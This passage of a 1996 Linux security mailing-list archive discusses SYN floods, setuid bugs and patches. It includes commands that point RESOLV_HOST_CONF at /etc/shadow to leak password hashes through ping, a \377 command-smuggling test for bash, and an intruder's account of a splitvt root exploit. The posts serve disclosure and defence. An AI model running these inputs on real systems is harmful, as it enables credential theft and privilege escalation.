seems this would be | better implemented in TCP wrappers (tcpd). It doesn't seem TOO difficult | to do, although I'm not sure if you would have to do anything in kernel The best way to do this is in the kernel. Briefly: A list of concurrent pending connection requests needs to be kept for each TCP port that is listen()ing. When this number of connection requests reachs n (n==backlog, or n==backlog-1) it does a few other checks, like perhaps the time in which all of these arrived (connections that arrive very close together would be indicative of a SYN flood) and it waits a few seconds. if the state does not proceed into SYN_SENT or CLOSED it frees the associated memory and tears down all the connection requests. The n value should be different for different ports. TCP/80 for example, would see it being higher... | space too. For instance, if you have a connect that is in state | SYN_RECV, can you just arbitrarily drop it, or do you have to wait for | something to timeout in the TCP code? The TCP Connection-Establishment timer of 75 seconds causes connections to time out. In Linux however, this is not the case. Below is an excerpt from my whitepaper I did on TCP SYN flooding (from Project Neptune available in the next issue of Phrack). - ------------------------------------Excerpt------------------------------- --[ Linux Anomaly ]-- In doing my research for this project, I noticed a very strange implementation error in the TCP module of Linux. When a particular TCP server is flooded on a Linux host, strange things are afoot... First, it appears that the connection-establishment timer is broken. The 10 spoofed connection-requests keep the sockets in the SYN_RCVD state for just over 20 minutes (23 minutesto be exact. Wonder what the signifigance of this is... Hmmm...). Much longer than the 75-seconds it *should* be. The next oddity is even more odd... After that seemingly arbitrary time period (I have to determine what the hell is going on there), TCP moves the flooded sockets into the CLOSE state, where they *stay* until a connection-request arrives on a *different* port. If a connection-request arrives on the flooded port (now in the CLOSE state), it will not answer, acting as if it is still flooded. After the connection-request arrives on a different port, the CLOSEd sockets will be destroyed, and the original flooded port will be free to answer requests again. It seems as though the connection-request will spark the CLOSEd sockets into calling listen()... Damn wierd if you ask me... The implications of this are severe. I have been able to completely disable all TCP based servers from answering requests indefinitely. If all the TCP servers are flooded, there are none to recieve the valid connection request to alleviate the CLOSE state from the flooded connections. Bad news indeed. - ------------------------------------Excerpt------------------------------- I have since learned a few things from Erik Schenk... 1) The Linux TCP kernel does not directly setup timers for connection establishment or keepalive timeouts. 2) The Linux TCP kernel counts retransmissions. 3) It takes 15 retransmission before a pending connection request is torn down. This is 1389 seconds, or 23 minutes... This is to say that a Linux box is painfully vulnerable to SYN floods. There is a patch in the works... - -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMhyBbQtXkSokWGapAQFZwgQAl6oljDTIflypKJRSXvCfkzwOIK7rU4Uq t+lkIfnqsLMxH1hgSGxOIUaV2lA7gn6wdesKoDxqv9xpKAU7PpyfpQxZkTdVyGTS nffv0wz8tRy3YxW2Od1mDf+a3RxfHSF61jPQB0GgvJYovZDg1Abp+0ovSosuQ01k yldDUV3ofvo= =j+7P -----END PGP SIGNATURE----- From [email protected] Sat Aug 24 18:27:02 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id SAA31016; Sat, 24 Aug 1996 18:27:02 -0400 Date: Thu, 22 Aug 1996 17:10:55 +0200 From: [email protected] Message-Id: <[email protected]> To: [email protected], [email protected], [email protected], [email protected], [email protected], [email protected] Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Sender: [email protected] Precedence: list [REW: Just some source browsing found: /* * The IMMUTABLE and APPEND_ONLY flags can only be changed by * the super user when the security level is zero. */ so it should in principle be secure.] Optimist. Root can do anything she wants, also change kernel memory. From [email protected] Sat Aug 24 18:29:18 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id SAA31033; Sat, 24 Aug 1996 18:29:18 -0400 Message-Id: <[email protected]> From: Runar Jensen To: [email protected] Subject: [linux-security] bash security hole Date: Thu, 22 Aug 1996 21:55:15 -0500 Sender: [email protected] Precedence: list Someone mentioned that they were not able to reproduce the recent bash bug. I tried the example mentioned in the alert with no luck, seemingly because bash does not expand the '\377' construct. I then got a little creative and tried the following: bash -c '`echo -e "ls\377who"`' This appeared to expand right, but would still only execute the 'ls'. For a moment I happily assumed that I wasn't vulnerable, but examining the source showed that I *should* be, according to the alert. It struck me that using bash to reproduce a bash bug may not be a very good idea... Sure enough, a simple system() call will work as expected: #include main() { system("ls\377who") } ...and yes, the patch fixes this. :) .../ru --- Runar Jensen System Administrator FirstNet of Acadiana From [email protected] Sat Aug 24 18:30:53 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id SAA31050; Sat, 24 Aug 1996 18:30:53 -0400 Date: Thu, 22 Aug 1996 10:46:20 -0700 (PDT) From: Sam Quigley X-Sender: [email protected] To: [email protected] cc: Joel Maslak , Linux Security Mailing List Subject: Re: [linux-security] inetd and denial-of-service In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 21 Aug 1996, Racer X wrote: > > 2. Block access to all ports except from "trusted sites". This assumes a > > open environment where the network medium is generally trusted. Note that > > IP spoofing attacks can occur if the network is not trusted. > > This can be done with TCP wrappers. > > [REW: Not quite. If inetd drops the port, tcpd won't get started. > Another problem is that a tcpd is started for every connection. This > means that state would have to be passed by files, creating locking > problems etc etc. -> Not trivial. Inetd seems fine to me.] I don't know a whole hell of a lot about xinetd, but I do know that it allows some sort of control over connections in the same style that TCP wrappers does. Perhaps xinetd would be a good solution for this? -sq From [email protected] Sat Aug 24 18:31:59 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id SAA31066; Sat, 24 Aug 1996 18:31:59 -0400 Date: Thu, 22 Aug 1996 13:13:55 -0400 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected], [email protected], [email protected], [email protected], [email protected] Subject: Re: [linux-security] rwhod buffer overflow Sender: [email protected] Precedence: list > There is a remote buffer overflow in the path variable in rwhod.c in the > line: (void) sprintf(path, "whod.%s", wd.wd_hostname); ... > I would suggest prior to the sprintf line you add something to the effect: > if(strlen(wd.wd_hostname) >= sizeof(wd.wd_hostname)) { > syslog(LOG_WARNING, "possible hostname overflow attack apparently from %x", > from.sin_addr); > continue; > } You might also wish to modify the sprintf() as follows. Just because wd_hostname fits into wd doesn't mean (in some future revision) that it will fit into path. static char path_prefix[] = "whod."; (void) sprintf(path, "%s%.*s", path_prefix, sizeof(path) - sizeof(path_prefix), wd.wd_hostname); The above assumes that path is an array, rather than a pointer: I haven't looked. If it's a pointer, then change sizeof(path) to the defined constant that reliably defines the size of the array to which path points. This also neatly accounts for the terminating NUL, because that is measured in sizeof(path_prefix), but not copied over by "%s" in the sprintf() call. Yes, this will truncate some LONG host names. A better algorithm would find the combined lengths of the path_prefix + the hostname, allocate a buffer at least that long + 1 (if not already allocated), die or skip the host if the alloc fails (so many programs forget to check!!!), and then do the copy, freeing the buffer when [if] it's no longer being used. But that's a bigger patch than the above. [;-\] Joe Yao [email protected] - Joseph S. D. Yao From [email protected] Sat Aug 24 19:20:41 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA31371; Sat, 24 Aug 1996 19:20:41 -0400 X-Authentication-Warning: irc.connectnet.com: kit owned process doing -bs Date: Sat, 24 Aug 1996 12:34:06 -0700 (PDT) From: Kit Knox To: [email protected] Subject: [linux-security] Radiusd DOS Attacks Possible Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Here is a message I posted to bugtraq minutes ago that also affects many linux users so I decided to post it over here as well.. -- Radiusd security announcment. Summary : Denial of service attack possible by sending garbage UDP data to radius daemon port used for authentication of users by livingston portmasters and ascend max's. Your inode tables may also be filled up by a user spoofing source address's of UDP accounting packets. (Code for this is very trivial) By default behavior the daemon calls mkdir() every time it receives an accounting packet (gross!). At the bottom you will find an optional patch that disables this behavior requring you to make the directories on your OWN first. There are numerous memory issues in radiusd that I simply don't have time to fix, however this simple patch will prevent denial of service attacks where an attacker can send garbage UDP data to your radius daemon port causing it to malloc and never free memory for each packet, eventually crashing the radius daemon. This should be considered an emergency patch. Here is a simple diff for the memory leak in the latest ascend radiusd (radius-960528). *** radiusd.c Wed Jun 26 11:58:43 1996 --- new/radiusd.c Sat Aug 24 12:23:03 1996 *************** *** 1013,1018 **** --- 1013,1019 ---- break; default: + free(authreq); break; } return(0); Here is the optional mkdir() patch. *** acct.c Wed May 22 13:24:20 1996 --- new/acct.c Sat Aug 24 12:31:32 1996 *************** *** 76,84 **** /* * Create a directory for this client. */ sprintf(buffer, "%s/%s", radacct_dir, clientname); mkdir(buffer, 0755); ! /* * Write Detail file. */ --- 76,85 ---- /* * Create a directory for this client. */ + #ifdef USE_GROSS_MKDIR sprintf(buffer, "%s/%s", radacct_dir, clientname); mkdir(buffer, 0755); ! #endif /* * Write Detail file. */ ========================================================================= Kit Knox - - System Administrator CONNETnet INS, Inc. - 6370 Lusk Blvd Ste F#208 - San Diego, CA 92121 (619) 638-2020 - (619) 638-2024 Voicemail/Pager - (619) 450-3216 FAX ========================================================================= From [email protected] Sat Aug 24 19:23:43 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA31404; Sat, 24 Aug 1996 19:23:43 -0400 Date: Sat, 24 Aug 1996 18:57:04 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: [linux-security] Minor technical difficulties. X-Spook: counterfeit Ortega $400 million in gold bullion X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list Well, it never fails: leave your office and within a couple of days something goes screwy.... Due to a memory exhaustion problem and the subsequent death of some daemons, several of this week's posts to linux-security were approved, archived, digested, etc., but not actually delivered. I re-approved them, but because of this glitch there are now duplicate copies of these posts in the archive and digests. (Also, some moderator's comments were lost in the re-approved posts.) --Up, eating green chili and basking in New Mexico's sunshine.... -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ linux-security/linux-security.960825100664 1767 1767 26022 6210162404 16645 0ustar majdommajdomFrom [email protected] Sun Aug 25 04:34:17 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id EAA03899; Sun, 25 Aug 1996 04:34:17 -0400 From: thought Message-Id: <[email protected]> Subject: Re: [linux-security] inetd and denial-of-service To: [email protected] (Sam Quigley) Date: Sat, 24 Aug 1996 22:53:44 -0700 (PDT) Cc: [email protected] In-Reply-To: from "Sam Quigley" at Aug 22, 96 10:46:20 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1183 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Sam Quigley's thoughts were: | | I don't know a whole hell of a lot about xinetd, but I do know that it | allows some sort of control over connections in the same style that TCP | wrappers does. Perhaps xinetd would be a good solution for this? Neither TCPd nor xinetd will stop SYN floods. Even if you deny all but trusted (read: known to be reachable) sites, you are still vulnerable to TCP SYN floods. TCPd and it's ilk rely on the 3-way handshake being completed before the filter rules take effect. A SYN flood only satisfies 1/3 of the 3-way handshake. A packet filter that only allows trusted packets and drops all others will stop a common SYN flood. - -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMh/qYwtXkSokWGapAQHP3AP/U0i5inHHXQC2mHzzTnDyXCYYljMqg5i9 Qm/TMjH41DGmLo107ygRXQA7PfUrrVrMPKwayoQx6Lft03LMzVdVgfL+SYEQ6nOk o36fW+Oz1MRz7RdZu/dl9WVNVAlR481ZHGPXaEM9X7MbTDLf6u+e3kc1laeg1Xkk eaHCbXXz8/Q= =x1vb -----END PGP SIGNATURE----- [REW: As far as I understand SYN floods, you simply send lots of "SYN" packets. This either causes a kernel crash or a denial of service. Userspace is only informed when three packets have been transmitted back and forth. Thus the kernel would need to be modified to do something about it.] From [email protected] Sun Aug 25 04:34:23 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id EAA03912; Sun, 25 Aug 1996 04:34:23 -0400 Date: Sun, 25 Aug 1996 00:48:46 -0500 (CDT) From: Jordy To: [email protected] Subject: [linux-security] RESOLV_HOST_CONF In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Sigh, I don't know why, but for some reason no one has brought up the RESOLV_HOST_CONF hack which is present in well, just about every resolv+ library ever. Fade In: Resolv+ library is staticly linked to some programs such as ping, netstat, and other network programs. It is responcible for parsing /etc/resolv.conf, and allows you to specify a RESOLV HOST CONF file as an enviromental variable, problem is, it is setuid when it reads the conf file and if the conf file isn't in the correct format, it echos everything out. Fade Out: This is bad ;p. A wannabe hacker could easily type: # export RESOLV_HOST_CONF=/etc/shadow # ping my mother wears green army boots and get a copy of that file, worse off you could do things like # export RESOLV_HOST_CONF=/proc/kcore # ping life is a challage hack it up which is known to make a machine go boom. Fade Slightly In Once More: Workaround (aka Bandaid patch) modify /etc/profile and add RESOLV_HOST_CONF= declare -xr RESOLV_HOST_CONF Real Patch isn't really available yet, from what i can see. You can modify the souce to the resolv+ library and make it setuid(getuid()) first, but that would break if /etc/resolv.conf wasn't working right, or you could simply remove the RESOLV_HOST_CONF variable completely. Fade Back Out One Last Time: This should probably be posted in linux-alert. Known distributions which are affected include Slackware 2.0, 2.1, 3.0, 3.1, Redhat 2.0 and 3.0.3 picasso. [REW: On Picasso: My ping isn't statically linked. My ping binary and my libc don't have the string RESOLV_HOST_CONF. My ping still opens /etc/resolv.conf when I set this environment variable. The proposed patch wont help a lot. chsh tcsh; Use csh syntax, or write a program to pass a suitable environment yourself. I'd suggest either dropping priviliges before opening the file or simply refusing to use the environment variables when euid != uid (like the LD_LIBRARY_xx family). My Slackware 3.0 system is vulnerable. My ping is still not statically linked. The version in the shared library is being called. Slackware 3.0 uses libc.so.5.0.9, while picasso has libc.so.5.2.18 . Is this the significant difference?] From [email protected] Sun Aug 25 19:35:53 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA09171; Sun, 25 Aug 1996 19:35:53 -0400 From: [email protected] (Wietse Venema) Message-Id: <[email protected]> Subject: Re: [linux-security] TCP Wrappers Syslogging To: [email protected] Date: Sun, 25 Aug 96 16:28:51 MET DST Cc: [email protected] (Wietse Venema), [email protected] (Nikita Borisov) In-Reply-To: <[email protected]>; from "Nikita Borisov" at Aug 9, 96 5:08 pm Organization: Eindhoven University of Technology, P.O. Box 513, 5600 MB Eindhoven, The Netherlands X-Phone: +31 40 2472989 X-Fax: +31 40 2465995 X-Private: +31 40 2433327 X-Mailer: ELM [version 2.3 PL11] Sender: [email protected] Precedence: list During my vacation, Nikita Borisov posted a patch to make tcpd log the client host address in addition to the client host name. Unfortunately this patch can break the virtual host support, since it uses the same static buffer for the %H (server) and %h (client) expansions. +#ifdef ALWAYS_IP_ADDR + static char host_and_ip[2 * STRING_LENGTH+2]; +#endif ... +#ifdef ALWAYS_IP_ADDR + sprintf(host_and_ip, "%s [%s]", host->name, eval_hostaddr(host)); + return host_and_ip; +#else return (host->name); +#endif Today, the easiest way to log both the client name and address is to change the syslog calls in tcpd.c and refuse.c. Configurable syslog messages and message tags (with %letter expansions) are one of the items on the tcp wrapper TODO list. Wietse From [email protected] Sun Aug 25 19:37:59 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA09200; Sun, 25 Aug 1996 19:37:59 -0400 Date: Sun, 25 Aug 1996 14:32:03 -0500 Message-Id: <[email protected]> From: Joshua Cowan To: [email protected] Subject: [linux-security] Re: RESOLV_HOST_CONF In-Reply-To: References: X-Attribution: JC X-Mailer: VM 5.95 (beta); GNU Emacs 19.30.1 X-NSA-Fodder: Ortega ammunition FSF AK-47 Mossad security Croatian X-Tom-Swifty: "The sun just rose over the cemetary," Tom said in mourning. Sender: [email protected] Precedence: list >>>>> "REW" == Roger Wolff writes: REW> I'd suggest either dropping priviliges before opening the file REW> or simply refusing to use the environment variables when euid REW> != uid (like the LD_LIBRARY_xx family). I've done this. The patch to ld.so 1.8.2 is included below; of course, it won't help if your `ping', `traceroute', `rsh', etc., are statically linked.... -- Joshua Cowan _____________________ http://hermit.reslife.okstate.edu/~jcowan/ | Comp Sci Student "Very funny, Scotty. Now beam down my clothes." | OSU - Stillwater, OK PGP key available from any PGP keyserver or by fingering above address. diff -ru ld.so-1.8.2.orig/d-link/boot1.c ld.so-1.8.2/d-link/boot1.c --- ld.so-1.8.2.orig/d-link/boot1.c Mon Jun 17 21:11:16 1996 +++ ld.so-1.8.2/d-link/boot1.c Sat Aug 24 07:28:47 1996 @@ -521,6 +521,9 @@ } else { + /* A temporary hack to patch the resolver library bug. --JC */ + _dl_unsetenv ("RESOLV_HOST_CONF", envp); + _dl_unsetenv("LD_PRELOAD", envp); _dl_unsetenv("LD_AOUT_PRELOAD", envp); _dl_preload = NULL; diff -ru ld.so-1.8.2.orig/ld-so/ld.so.c ld.so-1.8.2/ld-so/ld.so.c --- ld.so-1.8.2.orig/ld-so/ld.so.c Tue May 28 20:05:13 1996 +++ ld.so-1.8.2/ld-so/ld.so.c Sat Aug 24 07:29:45 1996 @@ -241,6 +241,8 @@ } else { + unsetenv ("RESOLV_HOST_CONF"); + /* sorry, Charlie, I can't let you do that */ unsetenv("LD_PRELOAD"); unsetenv("LD_AOUT_PRELOAD"); From [email protected] Sun Aug 25 19:42:59 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA09217; Sun, 25 Aug 1996 19:42:59 -0400 Message-Id: <[email protected]> X-Sender: [email protected] X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sun, 25 Aug 1996 14:37:19 -0500 To: [email protected], [email protected] From: "C. Hodges" Subject: Re: [linux-security] RESOLV_HOST_CONF Sender: [email protected] Precedence: list [Mod: Some quoting trimmed. --Jeff.] At 12:48 AM 8/25/96 -0500, Jordy wrote: > >Sigh, I don't know why, but for some reason no one has brought up the >RESOLV_HOST_CONF hack which is present in well, just about every >resolv+ library ever. it's been talked about a lot on Bugtraq... :> >Real Patch isn't really available yet, from what i can see. You can modify *ahem* for the most part, yes it is... NetKit-B-0.08 has at least ping and others (?) fixed, but for some strange reason, he didn't bother to fix finger tho... :\ (i also heard that ssh contains it too, haven't tried it yet) [Mod: 'finger' isn't suid like 'ping' et al. --Jeff.] actually, the library itself *SHOULD* be patched, but patched programs that call it are almost good enough... (at least, until they find more progs that have it) >[REW: On Picasso: My ping isn't statically linked. My ping binary and >my libc don't have the string RESOLV_HOST_CONF. My ping still opens >/etc/resolv.conf when I set this environment variable. > >The proposed patch wont help a lot. chsh tcsh; Use csh syntax, or >write a program to pass a suitable environment yourself. > ftp.linux.org.co.uk:/pub/linux/Networking/base/NetKit-B-0.08.tar.gz until a newer one comes out that patches finger, anyway... linux-security/linux-security.960826100664 1767 1767 103573 6210301114 16666 0ustar majdommajdomFrom [email protected] Mon Aug 26 06:47:41 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA14157; Mon, 26 Aug 1996 06:47:41 -0400 From: [email protected] Message-Id: <[email protected]> Subject: Re: [linux-security] RESOLV_HOST_CONF (fwd) To: [email protected] Date: Mon, 26 Aug 1996 01:39:11 -0400 (EDT) X-Mailer: ELM [version 2.4 PL25] Content-Type: text Content-Length: 367 Sender: [email protected] Precedence: list > actually, the library itself *SHOULD* be patched, but patched programs that > call it are almost good enough... (at least, until they find more progs that > have it) like sendmail. I think in addtion to modifying the ld.so and/or the libc I am going to put wrappers that totally strip the environment around all suid binaries. [email protected] From [email protected] Mon Aug 26 06:47:51 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA14170; Mon, 26 Aug 1996 06:47:51 -0400 From: Stunt Pope Message-Id: <[email protected]> Subject: [linux-security] vulnerability in splitvt To: [email protected] Date: Sun, 25 Aug 1996 21:32:09 -0400 (EDT) Cc: [email protected] X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 2176 Sender: [email protected] Precedence: list This may or may not have been reported already. I only found out about this list _after_ I had been hacked :< There is a vulnerability in the program splitvt that bundles with linux slackware that allows any account on the system that can access a c compiler, get root. The program used for the exploit in this instance is called "sl", and the intruder(s) always made sure they deleted the source as soon as they'd compiled the binary, so I can't supply that (although I would love to see it). Once this prog is compiled the exploit is simple as: $ sl $ sl $ splitvt # tada! (note the sl prog must be run _twice_, i don't know why). I did have an opportunity to pick the intruder's brains about it a little, here's an irc log excerpt: > what's the sl prog? Its the exploit I was telling you about > hows it work? It sets up to run splitvt and shells out to root when it runs suid root to use it just type sl sl splitvt And presto, root > and how do you get the root shell from that? Well when splitvt runs it runs over to a suid root level > did you bring the sl prog in yourself and it exploits a bug in splitvt? > ok so the program just manipulates that to give you a root shell > so you brought the prog in yup > you never cracked the root passwd then Nope I never needed it I could have got it in time with the sniffer From [email protected] Mon Aug 26 06:48:06 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA14189; Mon, 26 Aug 1996 06:48:06 -0400 Date: Sun, 25 Aug 1996 21:42:45 -0500 Message-Id: <[email protected]> From: Joshua Cowan To: Daniel Bromberg Cc: [email protected] Subject: Re: [linux-security] Re: RESOLV_HOST_CONF In-Reply-To: <[email protected]> References: <[email protected]> <[email protected]> X-Attribution: JC X-Mailer: VM 5.95 (beta); GNU Emacs 19.30.1 X-NSA-Fodder: nuclear cryptographic SEAL Team 6 Delta Force kibo X-Tom-Swifty: "If only we could piece together this crime," Tom said in a puzzled voice. Sender: [email protected] Precedence: list >>>>> "DB" == Daniel Bromberg writes: DB> On and on we go with little hacks to plug all these holes...It Ideally, the resolver library should be fixed. Doing this securely and retaining all of the original functionality will be tricky, and I'd rather leave it up to the library maintainers. Ultimately, this feature will probably either have to be limited (abandoned in the case of setuid programs) or dropped altogether: otherwise you end up with the library `fork'ing a process to read the specified file with the real user's privileges. DB> seems to be a step needs to be taken back so we can look at a DB> fundamental problem with *all* setuid programs: they blithely AFAIK, a POSIX.6 implementation for Linux is still being developed. This is the best solution, IMHO (and this situation is a good example of why POSIX.6 is a Good Thing). DB> take lots of environment variables from the user's environment DB> and just use them. But let's consider what setuid progams are Most people are aware that setuid programs should never trust environment variables. The aspect that makes this situation relatively unique is that the problem lies in the library using the environment, not the program itself: setuid programs should do something like `envp = 0;' as a cautionary measure. I agree that something has to be done to make privileged software easier to manage, but, until the POSIX.6 stuff is ready, I suppose we just keep patching.... -- Joshua Cowan _____________________ http://hermit.reslife.okstate.edu/~jcowan/ | Comp Sci Student "Very funny, Scotty. Now beam down my clothes." | OSU - Stillwater, OK PGP key available from any PGP keyserver or by fingering above address. From [email protected] Mon Aug 26 06:48:33 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA14210; Mon, 26 Aug 1996 06:48:33 -0400 Message-Id: <[email protected]> To: Joshua Cowan cc: [email protected] Subject: Re: [linux-security] Re: RESOLV_HOST_CONF In-reply-to: Your message of Sun, 25 Aug 1996 14:32:03 -0500. <[email protected]> Date: Sun, 25 Aug 1996 17:46:05 PDT From: Daniel Bromberg Sender: [email protected] Precedence: list > REW> I'd suggest either dropping priviliges before opening the file > REW> or simply refusing to use the environment variables when euid > REW> != uid (like the LD_LIBRARY_xx family). > > I've done this. The patch to ld.so 1.8.2 is included below; of course, > it won't help if your `ping', `traceroute', `rsh', etc., are statically > linked.... On and on we go with little hacks to plug all these holes...It seems to be a step needs to be taken back so we can look at a fundamental problem with *all* setuid programs: they blithely take lots of environment variables from the user's environment and just use them. But let's consider what setuid progams are really for: as a proxy for the system admin so users can perform certain tasks without having a privileged human sitting with them all the time. Thus we're on *root's* turf now. As a favor for the user. Thus we should have root's environment, or at least a highly limited, controlled environment. I propose a blanket solution: have the kernel manipulate the environment passed to the setuid program in a safe manner. Thus only pass through a few, if any, env variables to any setuid program, statically linked or not. (Off the top of my head, all I think one needs is USER, HOME, possibly HOSTALIASES). Given the splitvt type of attack, we'd also need to 'clean up' the ones we do pass through, by removing non-printable content and limiting the length. There is more configuration needed: so there could be some file like /etc/default/root.env which contains the environment that the sysadmin deems adequate for proper operation of all setuid programs. (like PATH, HOSTNAME, etc.) Such a file could also specify which user's env variables were safe to pass through. I know generally that "blanket" solutions are bad: they tend to cover up problems rather than addressing them, but it seems to me this is a good size blanket that addresses the general environment problem at the right place. Think of how many past, present, and future security problems this would solve! My point is: a user environment is totally untrustable, obviously. The general environment variable attack should be stopped at the source. I can't think of all the technical ramifications right now of my solution, and I have a nasty feeling there's a bunchy of stickly issues left, but I think it's worth looking into. [REW: The kernel is not equipped to mess with environment variables. The kernel can't really go about reading config files. Originally "environment variables" was a userlevel hack. I don't think that this is a good solution. It prohibits general solutions. You are correct in the "service to the user". The setuid programs should then take care not to trust the environment they run in too much. The problems start coming when the library starts doing that.] Mis dos centavos, Daniel Bromberg, Co-op [email protected] M/S 171-300 (818) 393-3872 Jet Propulsion Laboratory 4800 Oak Grove Dr. Pasadena, CA 91109 From [email protected] Mon Aug 26 06:48:51 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA14224; Mon, 26 Aug 1996 06:48:51 -0400 Date: Sun, 25 Aug 1996 21:17:13 -0400 (EDT) From: Racer X Reply-To: [email protected] To: infinity cc: [email protected] Subject: Re: [linux-security] inetd and denial-of-service In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 22 Aug 1996, infinity wrote: > | >From the sources I have seen for SYN-flooders, they generally forge the > | source address. One style is to generate random source addresses, the > > By very defintion of a SYN flood, the source address has to be > forged. No, it doesn't. Any hacker with any intelligence will forge it, but it doesn't HAVE to be forged. > | other is to take a user-specified address. A way around the first style > | is this: > > A randomly generated source address would be a horrible idea. You > have a better than even chance of generating one that is reachable. I'm not following you. First off, why would a randomly generated address be a horrible idea? Why any worse than (say) the IP for www.whitehouse.gov? And better than even? I don't think so. Not when you consider that class A nets 57-126 are all "reserved", as are a bunch of others. > | If the max number of connects per unit time is passed, stop the server > | for (say) 1 or 2 minutes. Then try to reverse DNS all those connects on > | that port. Any that can't be reversed should be immediately dropped. > > A host may have DNS entries and still be unreachable (and vice > versa). That's not my point. The point is, if they DO have DNS entries, they are much more likely to be legit than if they don't. Everyone, EVERYONE, should be running DNS and have reverse maps. We (and lots of other people) don't allow connects from hosts that can't be reversed. > | You could get around the second style by specifying a max number of > | connects to accept from any one site at a time. However, passing this > | limit would not shut down the server, it would just deny that site until > | it was back under limit. > > Bad idea. You cannot control any aspects of the Internet past yur > box (or boxes). Therefore, you cannot control which hosts will go > down. (Aside: I've thought about coding a SYN flooder that plays > two reachable hosts off each-other. It floods both, exactly at > the same time, each SYN-ladden packet purporting to come from the > other host on it's flooded port.) Again, I'm confused. I don't get the "which hosts will go down" part. On the attacker's end, or yours? > | The more I think about this though, the more it seems this would be > | better implemented in TCP wrappers (tcpd). It doesn't seem TOO difficult > | to do, although I'm not sure if you would have to do anything in kernel > > The best way to do this is in the kernel. Briefly: A list of > concurrent pending connection requests needs to be kept for > each TCP port that is listen()ing. When this number of > connection requests reachs n (n==backlog, or n==backlog-1) > it does a few other checks, like perhaps the time in which all > of these arrived (connections that arrive very close together > would be indicative of a SYN flood) and it waits a few seconds. > if the state does not proceed into SYN_SENT or CLOSED it frees > the associated memory and tears down all the connection requests. > The n value should be different for different ports. TCP/80 for > example, would see it being higher... Right, do it in the kernel and have something similar to ipfwadm to throb the settings for each port. The only problem is, according to Alan Cox: [me] > > same problem, but it hits inetd instead. My question is - can a > > connection that is in state SYN_RECV be arbitrarily terminated at any > > time, or does it have to wait for the timeout in the TCP code? [Alan] > It cannot be terminated for the TIME_WAIT period without the risk of data > corruption on other connections. So you are stuck with it for at least 2 > minutes (probably 4 to be right). BSD locks this to 75seconds + > TIME_WAIT which isnt a bad plan so long as you don't plan to operate > over amateur radio, into space and other unusual links I'm not clear on why you have to wait for the timeout. I will take his word for it tho, and see if I can find out exactly why. > 1) The Linux TCP kernel does not directly setup timers for connection > establishment or keepalive timeouts. > 2) The Linux TCP kernel counts retransmissions. > 3) It takes 15 retransmission before a pending connection request is > torn down. This is 1389 seconds, or 23 minutes... > > This is to say that a Linux box is painfully vulnerable to > SYN floods. There is a patch in the works... Could this have anything to do with the latest thread on "2.0.13 Sockets stuck in close"? It sounds similar. shag Judd Bourgeois | When we are planning for posterity, [email protected] | we ought to remember that virtue is Finger for PGP key | not hereditary. Thomas Paine From [email protected] Mon Aug 26 06:52:32 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA14252; Mon, 26 Aug 1996 06:52:32 -0400 Message-Id: <1.5.4.16.19960825214648.274f5e60@gatekeeper> X-Sender: jlarmour@gatekeeper X-Mailer: Windows Eudora Light Version 1.5.4 (16) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sun, 25 Aug 1996 22:46:48 +0100 To: Runar Jensen , [email protected] From: Jonathan Larmour Subject: Re: [linux-security] bash security hole Sender: 